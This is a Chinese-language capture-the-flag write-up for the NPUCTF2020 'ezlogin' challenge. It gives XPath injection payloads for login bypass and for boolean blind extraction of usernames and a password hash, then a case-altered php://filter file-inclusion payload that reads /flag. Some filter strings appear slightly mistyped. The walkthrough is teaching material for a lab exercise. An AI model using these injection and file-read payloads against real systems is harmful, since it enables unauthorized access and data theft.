[NPUCTF2020]ezlogin
我们写入用户名和密码进行抓包
我们发现题目提交的数据跟往常的不一样,而且是用的xml类型,通过查询资料,这题要用xpath注入
在xpath中的查询语句为:
1 | "/root/users/user[username/text()='".$name."' and password/text()='".$pwd."']"; |
其中$name和$pwd是我们输入的字符,这里对字符没有经过任何的过滤。
当$name= admin‘ or 1=1 or ‘’=’
拼接后的语句为:
1 | "/root/users/user[username/text()='admin' or 1=1 or ''='' and password/text()='".$pwd."']"; //成为永真式,万能密码 |
值得注意的是在xpath的查询语句中没有注释。
我们把文章给出的payload放上去
1 | 'or count(/)=1 or ''=' |
1 | 'or count(/)=2 or ''=' |
有明显的的布尔回显(注意在重新提交的时候记得刷新下页面)
说明他根下只有一个节点
接下来是盲注了,注意他那里有个token,过期时间比较快,记得用会话保持状态带上。
测试长度
payload
1 | 'or string-length(name(/*[1]))=4 or ''=' |
长度为4
猜测根节点下的名称
1 | 'or substring(name(/*[1]), 1, 1)='a' or ''=' |
名称为root
猜测子节点的名称
1 | 'or substring(name(/root/*[1]), 1, 1)='a' or ''=' |
名称为accounts
account下还有两个节点
1 | 'or substring(name(/root/accounts/*[1]), 1, 1)='a' or ''=' |
两个节点都为:user
,
再跑user下的节点
发现第一个节点为id
再跑跑后面的节点看看
username ,password
接着跑用户名和密码
1 | 'or substring(/root/accounts/user/username[1]/text(), 1, 1)='a' or ''=' |
用户名
guest,adm1n
还有MD5加密后的密码cf7414b5bdb2e65ee43083f4ddbc4d9f
解码得到gtfly123
放上完整的exp
1 | import requests |
我们用adm1n ,gtfly123进行登录
进入了一个新页面
我们打开源码,发现有个base64加密
解码后得到
我们知道了flag在/flag下
我们观察url发现传的参数是file,这让我们想到伪协议
1 | ?file=php://filter/convert-base64.encode/resource=/flag |
提示nonono,说明有过滤
接着就是大小绕过
1 | ?file=Php://filter/convert.bAse64-encode/resource=/flag |
得到flag的base64加密,解码得到flag